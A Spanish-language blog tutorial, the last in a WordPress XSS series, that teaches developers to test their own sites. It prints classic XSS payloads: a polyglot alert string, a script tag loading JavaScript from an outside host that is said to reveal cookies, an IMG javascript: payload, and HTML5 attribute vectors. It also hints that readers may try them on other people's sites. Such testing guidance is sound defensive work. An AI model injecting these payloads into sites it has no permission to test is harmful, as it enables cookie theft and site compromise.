Este artículo forma parte de la serie Cross-Site Scripting en WordPress. Es el siguiente artículo de la serie: Cross-Site Scripting en WordPress: ¿qué es XSS?
En esta serie, estamos dando un vistazo a cómo segurizar nuestros proyectos WordPress frente a XSS, «cross-site scripting» o secuencias de comandos entre sitios. En el primer artículo de la serie, definimos qué es exactamente cross-site scripting, entendiendo cómo funciona, y por qué es peligroso.
También pasamos tiempo discutiendo cómo repercute esto en nuestros esfuerzos diarios de desarrollo de WordPress y sobre qué podemos hacer al respecto. Aunque WordPress cuenta con algunas funciones que ayudan a validar y sanear datos, existen más cosas que podemos hacer para segurizar nuestros proyectos.
En este último artículo, vamos a echar un vistazo a algunos consejos que podemos seguir y algunas pruebas que podemos llevar a cabo para asegurar nuestro trabajo frente los ataques XSS.
Conceptos básicos para comprobar infecciones XSS
En términos generales, la manera de enfocar la comprobación de vulnerabilidades cross-site script en tu sitio consiste en encontrar cualquier parte en el mismo o la aplicación que acepte entradas de usuario.
Obviamente, esto vendrá en forma de campos de entrada, áreas de texto o similares.
Si el sitio no realiza una esterilización adecuada y/o una validación, normalmente tendrás éxito encontrando vulnerabilidades; sin embargo, si el sitio está gestionando adecuadamente los datos de entrada, es muy probable que no encuentres ningún resultado.
Echemos un vistazo a varios casos que podemos llevar a cabo en nuestros propios sitios (o incluso en otros, ¡aunque será bajo tu propia responsabilidad!).
1. Localizar una vulnerabilidad cross-site scripting
Una de las primeras cosas que podemos hacer para localizar una vulnerabilidad es intentar inyectar un código que determine si existe o no una vulnerabilidad.
El código en cuestión es el siguiente:
|
1 2 3 |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Coloca este código en cualquier campo de entrada y envíalo.
Si existe una vulnerabilidad, será devuelta la palabra «XSS». Si no te devuelve nada, es muy probable que estés seguro (aunque esto no está 100% garantizado); sin embargo, si te devuelve «XSS», probablemente signifique la existencia de una vulnerabilidad que tú, o alguien más malévolo, sería capaz de aprovechar.
2. Intentos cross-site
En el artículo anterior, discutimos la política de mismo origen, la cual básicamente dicta que un sitio no debería ser capaz de solicitar recursos procedentes de cualquier dominio distinto a aquel en el que él mismo está ubicado.
Para intentar ejecutar código de un servidor remoto, o un servidor que no pertenezca al mismo origen, puedes ejecutar el siguiente código:
|
1 |
“><script src=https://idash.net/xs.js></script> |
Ten en cuenta que el prefijo para el caso de prueba no es un error tipográfico. Se requiere realmente para comprobar la vulnerabilidad. Si realmente existe una vulnerabilidad, se mostrará una cookie del navegador del dominio remoto; de lo contrario, o no verás nada o tu consola podría devolver un mensaje sobre la política de mismo origen.
3. Atributos de imagen
Por último, una de las vulnerabilidades más conocidas intenta ejecutar código JavaScript en un atributo de una etiqueta ‘img‘.
Por ejemplo, creando elementos como estos:
|
1 |
<IMG SRC=javascript:alert("XSS")> |
Revelaría una vulnerabilidad que realmente mostraría un cuadro de diálogo de alerta con la palabra ‘XSS’ como mensaje en lugar de una imagen rota.
Simple, ¿no? Sin embargo, solo se necesita una vulnerabilidad para exponer un «exploit».
Otros recursos
Un Wiki de ataques
La cosa es que, esta es solo la punta del iceberg en lo referente a pruebas XSS. De hecho, se necesitaría una wiki completa para documentar las diferentes vulnerabilidades que existen por ahí.
De hecho, eso es exactamente lo que el proyecto Open Web Application Security tiene como objetivo hacer: documentar las diferentes vulnerabilidades XSS existentes y cómo comprobar su existencia en nuestros sitios. Puedes visitar la lista completa, ver la definición de los ataques, además de cómo gestionarlos.
Vulnerabilidades HTML5
¡Pero eso no es todo! Conforme surgen nuevas tecnologías, HTML5 por ejemplo, hay un montón de cosas adicionales a tener en cuenta.
Aunque puede parecer un poco extraño que un lenguaje de marcado pueda ser susceptible a ataques de scripts entre sitios web, es lógico teniendo en cuenta algunos de los atributos que admiten los nuevos elementos.
Caso de estudio:
- Los elementos de los formularios admiten un atributo
formactionque es capaz ejecutar JavaScript - Los elementos para campos entrada admiten un atributo
onfocusque también puede ejecutar JavaScript - El nuevo elemento de vídeo admite un atributo
posterque también podría ejecutar JavaScript
Concedido, no son aplicables a todos los navegadores, pero es importante conocerlos para que puedas hacer pruebas correctamente en los correspondientes navegadores.
Dicho esto, puedes encontrar una completa ficha de vulnerabilidades conocidas y los navegadores a los que afectan principalmente en the HTML5 security site.
Ha.ckers
Uno de los sitios de recursos XSS con más antigüedad de la web es Ha.ckers.org y tienen en Reddit un listado de vulnerabilidades XSS especialmente útil.
En pocas palabras, además de ofrecer un diccionario de vulnerabilidades conocidas, su calculadora codificará automáticamente tu XSS a distintos tipos de codificación, por ejemplo Hex, decimal, Base64 y así sucesivamente de forma que tu mismo puedas también intentar inyectar esas traducciones en tu aplicación.
Después de todo, la mitad de lo que concierne a la seguridad consiste en asegurarse de que todos los tipos de entrada estén correctamente desinfectados, escapados y validados, no solo en el caso hipotético.
Conclusión
Obviamente, el campo de cross-site scripting está constituido por muchos tipos de vulnerabilidades que no se limitan a un solo navegador, y mucho menos a una sola versión del mismo. Por suerte, tenemos a nuestra disposición un montón de recursos, fichas de referencia, tutoriales y otros materiales educativos, no solo para que seamos conscientes y estemos alerta sobre lo que hay por ahí, sino también para conocer cómo podemos prevenirlos.
Y aunque este artículo está específicamente orientado hacia los desarrolladores de WordPress, las tácticas y técnicas trascienden WordPress y son aplicables a cualquier persona que esté creando una aplicacion web.
Por último, me gustaría ofrecer unas palabras de agradecimiento a Janne Ahlberg por inspirarme con el contenido de esta serie. Él es un especialista en seguridad que realiza una excelente labor el ámbito de los ataques XSS que transmite a Envato, así que si estás interesado en este tema y sobre todo si estás interesado en promocionar tu trabajo en uno de los marketplaces de Envato, te recomiendo que sigas su blog.
Lo que te queda por leer:
- Cómo Afecta Esto al Desarrollo con WordPress
- Qué Podemos Hacer Al Respecto
Deja una respuesta